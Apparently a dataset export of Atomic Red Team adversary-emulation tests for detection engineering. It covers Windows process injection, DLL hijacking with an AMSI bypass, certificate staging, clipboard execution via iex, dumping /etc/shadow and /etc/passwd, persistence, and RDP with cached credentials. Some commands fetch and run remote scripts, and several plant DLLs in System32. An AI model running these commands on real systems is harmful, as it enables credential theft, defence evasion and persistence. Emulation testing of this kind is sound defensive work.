deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1055: Process Injection
Test: Dirty Vanity process Injection
Platforms: windows
Executor: powershell

Description:
This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at 
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.


Command:
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid}


Cleanup:
Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force
Atomic Red Team — T1055: Process Injection
Test: Read-Write-Execute process Injection
Platforms: windows
Executor: powershell

Description:
This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.
The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms 
that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.
The injected shellcode will open a message box and a notepad.
RWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes.
More details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.
The original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.


Command:
$address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address


Cleanup:
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Dependencies:
Utility to inject must exist on disk at specified location (#{vuln_dll})
Atomic Red Team — T1055: Process Injection
Test: Process Injection with Go using UuidFromStringA WinAPI
Platforms: windows
Executor: powershell

Description:
Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread 
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References: 
  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
  - https://twitter.com/_CPResearch_/status/[PII_REDACTED]52662018
  - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala


Command:
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Process Injection with Go using EtwpCreateEtwThread WinAPI
Platforms: windows
Executor: powershell

Description:
Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call EtwpCreateEtwThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)
- References: 
  - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
  - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm


Command:
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Remote Process Injection with Go using RtlCreateUserThread WinAPI
Platforms: windows
Executor: powershell

Description:
Executes shellcode in a remote process.

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle to the remote process

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References: 
  - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike


Command:
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Remote Process Injection with Go using CreateRemoteThread WinAPI
Platforms: windows
Executor: powershell

Description:
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.

This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
6. Close the handle to the remote process

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
 - References:
  - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection


Command:
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
Platforms: windows
Executor: powershell

Description:
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.

This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
6. Close the handle to the remote process

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)


Command:
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Process Injection with Go using CreateThread WinAPI
Platforms: windows
Executor: powershell

Description:
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)


Command:
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: Process Injection with Go using CreateThread WinAPI (Natively)
Platforms: windows
Executor: powershell

Description:
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)


Command:
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1055: Process Injection
Test: UUID custom process Injection
Platforms: windows
Executor: powershell

Description:
The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread

The injected shellcode will open a message box and a notepad.

Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
Concept from: http://ropgadget.com/posts/abusing_win_functions.html


Command:
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Cleanup:
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Dependencies:
Portable Executable to inject must exist at specified location (#{exe_binary})
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: DLL Search Order Hijacking - amsi.dll
Platforms: windows
Executor: command_prompt

Description:
Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.


Command:
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
%APPDATA%\updater.exe -Command exit


Cleanup:
del %APPDATA%\updater.exe >nul 2>&1
del %APPDATA%\amsi.dll >nul 2>&1
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: Phantom Dll Hijacking - WinAppXRT.dll
Platforms: windows
Executor: command_prompt

Description:
.NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS
Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the 
WinAppXRT.dll is loaded everytime user launches an application using .NET.

Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied to system32 folder for loading during execution of any .NET application.


Command:
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
ren %APPDATA%\amsi.dll WinAppXRT.dll
copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll
reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f


Cleanup:
reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f
del %windir%\System32\WinAppXRT.dll
del %APPDATA%\WinAppXRT.dll
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: Phantom Dll Hijacking - ualapi.dll
Platforms: windows
Executor: command_prompt

Description:
Re-starting the Print Spooler service leads to C:\Windows\System32\ualapi.dll being loaded
A malicious ualapi.dll placed in the System32 directory will lead to its execution whenever the system starts

Upon successful execution, amsi.dll will be copied and renamed to ualapi.dll and then ualapi.dll will be copied to system32 folder for loading during system restart.
Print Spooler service is also configured to auto start. Reboot of system is required


Command:
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
ren %APPDATA%\amsi.dll ualapi.dll
copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll
sc config Spooler start=auto


Cleanup:
del %windir%\System32\ualapi.dll
del %APPDATA%\ualapi.dll
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: DLL Side-Loading using the Notepad++ GUP.exe binary
Platforms: windows
Executor: command_prompt

Description:
GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
Upon execution, calc.exe will be opened.


Command:
"#{gup_executable}"


Cleanup:
taskkill /F /IM #{process_name} >nul 2>&1


Dependencies:
Gup.exe binary must exist on disk at specified location (#{gup_executable})
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: DLL Side-Loading using the dotnet startup hook environment variable
Platforms: windows
Executor: command_prompt

Description:
Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)


Command:
set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
dotnet -h > nul
echo.


Cleanup:
taskkill /F /IM #{process_name} >nul 2>&1


Dependencies:
.Net SDK must be installed

preloader must exist
Atomic Red Team — T1574.001: Hijack Execution Flow: DLL
Test: DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE
Platforms: windows
Executor: powershell

Description:
Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe", which can load further executables embedded in modified KeyScramblerIE.dll file.


Command:
Write-Host 1.Downloading KeyScrambler from official website to temp directory
Invoke-WebRequest -Uri "https://download.qfxsoftware.com/download/latest/KeyScrambler_Setup.exe" -OutFile $env:Temp\KeyScrambler_Setup.exe
Write-Host 2.Installing KeyScrambler with KeyScrambler_Setup.exe from temp directory
Start-Process -FilePath $env:Temp\KeyScrambler_Setup.exe -ArgumentList /S -Wait
Write-Host 3.Copying KeyScrambler.exe to temp folder,to avoid permission issues, which calls KeyScramblerIE.dll in CWD i.e. temp
Copy-Item "C:\Program Files (x86)\KeyScrambler\KeyScrambler.exe" -Destination $env:TEMP\KeyScrambler.exe
Write-Host 4.Executing KeyScrambler.exe, you should see a popup of missing KeyScramblerIE.dll, you can close this popup
Start-Process -FilePath $env:Temp\KeyScrambler.exe
Write-Host 5.

Cleanup:
Write-Host 1.Kindly close the popup window asking for KeyScramblerIE.dll ,so that it gets deleted.

Remove-Item -Path $env:Temp\KeyScrambler_Setup.exe
Start-Process -FilePath "C:\Program Files (x86)\KeyScrambler\Uninstall.exe" -ArgumentList /S -Wait
Remove-Item -Path $env:Temp\KeyScrambler.exe
Write
Atomic Red Team — T1649: Steal or Forge Authentication Certificates
Test: Staging Local Certificates via Export-Certificate
Platforms: windows
Executor: powershell

Description:
Export all user certificates and add to a compressed archive.


Command:
$archive="$env:PUBLIC\T1649\atomic_certs.zip"
$exfilpath="$env:PUBLIC\T1649\certs"
Add-Type -assembly "system.io.compression.filesystem"
Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
mkdir $exfilpath | Out-Null
foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer}
[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)


Cleanup:
$exfilpath="$env:PUBLIC\T1649\certs"
Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
Atomic Red Team — T1115: Clipboard Data
Test: Utilize Clipboard to store or execute commands from
Platforms: windows
Executor: command_prompt

Description:
Add data to clipboard to copy off or execute commands from.


Command:
dir | clip
echo "T1115" > %temp%\T1115.txt
clip < %temp%\T1115.txt


Cleanup:
del %temp%\T1115.txt >nul 2>&1
Atomic Red Team — T1115: Clipboard Data
Test: Execute Commands from Clipboard using PowerShell
Platforms: windows
Executor: powershell

Description:
Utilize PowerShell to echo a command to clipboard and execute it


Command:
echo Get-Process | clip
Get-Clipboard | iex
Atomic Red Team — T1115: Clipboard Data
Test: Execute commands from clipboard
Platforms: macos
Executor: bash

Description:
Echo a command to clipboard and execute it

Command:
echo ifconfig | pbcopy
$(pbpaste)
Atomic Red Team — T1115: Clipboard Data
Test: Collect Clipboard Data via VBA
Platforms: windows
Executor: powershell

Description:
This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"


Cleanup:
Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore


Dependencies:
Microsoft #{ms_product} must be installed
Atomic Red Team — T1115: Clipboard Data
Test: Add or copy content to clipboard with xClip
Platforms: linux
Executor: sh

Description:
Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk.


Command:
apt install xclip -y
history | tail -n 30 | xclip -sel clip
xclip -o > history.txt
Atomic Red Team — T1003.008: OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Test: Access /etc/shadow (Local)
Platforms: linux
Executor: bash

Description:
/etc/shadow file is accessed in Linux environments


Command:
sudo cat /etc/shadow > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1003.008: OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Test: Access /etc/master.passwd (Local)
Platforms: linux
Executor: sh

Description:
/etc/master.passwd file is accessed in FreeBSD environments


Command:
sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1003.008: OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Test: Access /etc/passwd (Local)
Platforms: linux
Executor: sh

Description:
/etc/passwd file is accessed in FreeBSD and Linux environments


Command:
cat /etc/passwd > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1003.008: OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Test: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
Platforms: linux
Executor: sh

Description:
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed


Command:
unamestr=$(uname)
if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; fi


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1003.008: OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Test: Access /etc/{shadow,passwd,master.passwd} with shell builtins
Platforms: linux
Executor: sh

Description:
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins


Command:
testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
[ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
testcat /etc/passwd
testcat /etc/shadow


Cleanup:
rm -f #{output_file}
Atomic Red Team — T1547.015: Boot or Logon Autostart Execution: Login Items
Test: Persistence by modifying Windows Terminal profile
Platforms: windows
Executor: powershell

Description:
Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/[PII_REDACTED]52686848)

Command:
mv #{settings_json_def} #{settings_json_tmp}
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}"
wt.exe


Cleanup:
mv -Force #{settings_json_tmp} #{settings_json_def}
taskkill /F /IM "#{calculator}" > $null


Dependencies:
Windows Terminal must be installed
Atomic Red Team — T1547.015: Boot or Logon Autostart Execution: Login Items
Test: Add macOS LoginItem using Applescript
Platforms: macos
Executor: bash

Description:
Runs osascript on a file to create new LoginItem for current user.
NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events"
Therefore, it can't be automated until the TCC is granted.
The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
In addition to the `osascript` Process Events, file modification events to
`/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` should be seen.


Command:
osascript #{scriptfile}


Cleanup:
osascript #{cleanup_script}
Atomic Red Team — T1021.001: Remote Services: Remote Desktop Protocol
Test: RDP to DomainController
Platforms: windows
Executor: powershell

Description:
Attempt an RDP session via Remote Desktop Application to a DomainController.


Command:
$Server=#{logonserver}
$User = Join-Path #{domain} #{username}
$Password="#{password}"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"


Cleanup:
$p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }


Dependencies:
Computer must be domain joined